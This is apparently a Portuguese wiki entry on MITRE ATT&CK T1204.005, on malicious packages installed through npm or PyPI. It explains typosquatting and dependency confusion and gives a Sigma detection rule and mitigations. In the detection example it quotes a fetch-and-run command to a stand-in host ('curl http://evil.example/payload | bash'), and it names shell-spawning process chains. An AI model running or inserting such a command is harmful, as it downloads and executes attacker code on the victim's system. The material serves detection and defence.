# T1204.005 - Biblioteca Maliciosa
## Técnica Pai
Esta é uma sub-técnica de [[t1204-user-execution|T1204 - T1204 - User Execution]].
## Descrição
Nesta técnica, adversários induzem usuários a instalar bibliotecas maliciosas por meio de gerenciadores de pacotes como NPM, PyPI, RubyGems ou repositórios públicos de código como o GitHub. O grande atrativo para o atacante é a confiança implícita que desenvolvedores depositam nessas plataformas: ao executar um simples `npm install` ou `pip install`, o código é baixado e executado na máquina da vítima sem qualquer inspeção prévia do conteúdo.
As estrategias mais comuns incluem o **typosquatting** - registrar um pacote com nome quase idêntico ao legítimo, apóstando em erros de digitação - e o **dependency confusion**, onde uma biblioteca interna de uma empresa é substituída por uma versão pública homônima com maior número de versão. Há ainda casos de comprometimento direto da cadeia de suprimentos, em que o adversário invade a conta do mantenedor legítimo e injeta código malicioso em uma atualização nova do pacote, afetando todos os usuários que já confiam nele (técnica correlata: [[t1195-001-compromise-software-dependencies-and-development-tools|T1195.001]]).
Uma vez instalada, a biblioteca maliciosa pode executar scripts de pós-instalação (`postinstall` no NPM, por exemplo) que estabelecem persistência, exfiltram segredos do ambiente de CI/CD, instalam mineradores de criptomoeda ou abrem shells reversos. O código malicioso frequentemente se disfarça como funcionalidade legítima para evitar detecção por revisão humana superficial.
**Contexto Brasil/LATAM:** O ecossistema de desenvolvimento de software no Brasil é extenso e em rápido crescimento, com milhares de projetos de startups e fintechs que consomem ativamente pacotes de código aberto. Campanhas como a [[g1052-contagious-interview|Contagious Interview]], atribuída à Coreia do Norte, já demonstraram uso desta técnica para atacar desenvolvedores de software através de falsos processos seletivos, enviando projetos de teste que continham pacotes NPM maliciosos. Organizações brasileiras do setor financeiro e de tecnologia são alvos prioritários desse vetor.
## Attack Flow
```mermaid
graph TB
A[Upload de Pacote Malicioso] --> B[Usuário Instala Biblioteca]
B --> C[Script Pós-Instalação Executa]
C --> D[Estabelece Persistência / Exfiltração]
D --> E[Movimento Lateral ou C2]
```
## Como Funciona
**1. Preparação**
O adversário cria ou compromete um pacote em um repositório público (NPM, PyPI, GitHub). Pode usar typosquatting (`reqeusts` em vez de `requests`), dependency confusion ou roubo de credenciais do mantenedor original. O pacote malicioso embute código em scripts de ciclo de vida (`postinstall`, `setup.py`) ou dentro das próprias funções exportadas.
**2. Execução**
A vítima instala o pacote - diretamente ou como dependência transitiva de outro projeto. O gerenciador de pacotes executa automaticamente os scripts de pós-instalação sem nenhuma interação adicional do usuário. O código malicioso roda com os privilégios da sessão atual.
**3. Pós-execução**
O payload pode estabelecer persistência (cron job, entrada de registro), exfiltrar variáveis de ambiente com chaves de API e segredos de CI/CD, fazer download de um segundo estágio, ou conectar a infraestrutura C2. Em ambientes de build automatizados, o comprometimento pode se propagar para artefatos de produção.
**Exemplo:**
```bash
# Artefato de detecção - script postinstall suspeito em package.json
# Monitorar execução de processos filhos de npm/node durante instalação
# Evento típico no Linux (auditd):
# syscall=execve comm="sh" ppid=<npm-pid> cmdline="sh -c curl http://evil.example/payload | bash"
# No Windows, Event ID 4688 (criação de processo) com cadeia:
# node.exe → cmd.exe → powershell.exe -enc <base64>
```
## Detecção
**Fontes de dados:** Logs de auditoria do SO (auditd / Windows Event Log), monitoramento de processos (EDR), logs de rede (DNS/proxy), SIEM com correlação de eventos de instalação de pacotes.
```yaml
title: Suspeita de Execução de Script Pós-Instalação NPM/PIP
id: a3f7c821-5d2e-4b9a-8e01-cf2d3a91b447
status: experimental
description: >
Detecta processos filhos suspeitos gerados por gerenciadores de pacotes
como npm, pip ou gem durante a instalação de bibliotecas, indicando
possível execução de script pós-instalação malicioso.
logsource:
category: process_creation
product: windows
detection:
selection:
ParentImage|endswith:
- '\node.exe'
- '\npm.cmd'
- '\python.exe'
- '\pip.exe'
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\wscript.exe'
- '\cscript.exe'
condition: selection
falsepositives:
- Scripts de build legítimos invocados via npm run
- Instalações de ferramentas de desenvolvimento com pós-scripts conhecidos
level: medium
tags:
- attack.execution
- attack.t1204.005
```
## Mitigação
| Mitigação | Recomendação Prática |
|-----------|---------------------|
| [[m1033-limit-software-installation\|M1033 - Limit Software Installation]] | Restringir instalação de pacotes em ambientes de produção; usar allowlists de pacotes aprovados em repositórios internos (Artifactory, Nexus). |
| [[m1031-network-intrusion-prevention\|M1031 - Network Intrusion Prevention]] | Bloquear conexões de saída não autorizadas originadas de processos de gerenciadores de pacotes; alertar em DNS para domínios registrados recentemente. |
| [[m1017-user-training\|M1017 - User Training]] | Treinar desenvolvedores para verificar nomes exatos de pacotes, revisar scripts de pós-instalação antes de executar, e usar `npm audit` / `pip-audit` regularmente. |
## Referências
*Fonte: [MITRE ATT&CK - T1204.005](https://attack.mitre.org/techniques/T1204/005)*